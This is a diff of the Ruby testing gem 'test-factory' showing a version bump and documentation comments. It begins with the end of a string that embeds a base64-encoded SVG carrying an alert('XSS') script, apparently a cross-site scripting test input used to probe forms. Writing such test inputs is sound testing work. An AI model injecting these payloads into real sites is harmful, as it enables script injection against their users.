MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
@@ -114,6 +123,7 @@ module StringFactory
114
123
  end
115
124
 
116
125
  # Returns a random hex string that matches an HTML color value.
126
+ #
117
127
  def random_hex_color
118
128
  "#"+("%06x" % (rand * 0xffffff)).upcase
119
129
  end
@@ -122,6 +132,7 @@ module StringFactory
122
132
  # @param text [String] The text to be converted to snake case.
123
133
  # @example
124
134
  # damballa("A String of Fun Stuff (for you)") => :a_string_of_fun_stuff_for_you
135
+ #
125
136
  def self.damballa(text)
126
137
  text.gsub(/([+=|\\\.~@#'"\?`!\{\}\[\]\$%\^&\*\(\)])/, "").
127
138
  gsub(/([-\/\ ])/,"_").
data/test-factory.gemspec CHANGED
@@ -1,6 +1,6 @@
1
1
  spec = Gem::Specification.new do |s|
2
2
  s.name = 'test-factory'
3
- s.version = '0.2.0'
3
+ s.version = '0.2.1'
4
4
  s.summary = %q{rSmart's framework for creating automated testing scripts}
5
5
  s.description = %q{This gem provides a set of modules and methods to help quickly and DRYly create a test automation framework using Ruby and Watir (or watir-webdriver).}
6
6
  s.files = Dir.glob("**/**/**")
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: test-factory
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.2.0
4
+ version: 0.2.1
5
5
  prerelease:
6
6
  platform: ruby
7
7
  authors:
@@ -9,7 +9,7 @@ authors:
9
9
  autorequire:
10
10
  bindir: bin
11
11
  cert_chain: []
12
- date: 2013-01-30 00:00:00.000000000 Z
12
+ date: 2013-02-08 00:00:00.000000000 Z
13
13
  dependencies:
14
14
  - !ruby/object:Gem::Dependency
15
15
  name: watir-webdriver
@@ -47,7 +47,6 @@ files:
47
47
  - lib/test-factory/string_factory.rb
48
48
  - lib/test-factory.rb
49
49
  - README.md
50
- - test-factory-0.1.11.gem
51
50
  - test-factory.gemspec
52
51
  homepage: https://github.com/rSmart
53
52
  licenses: []
Binary file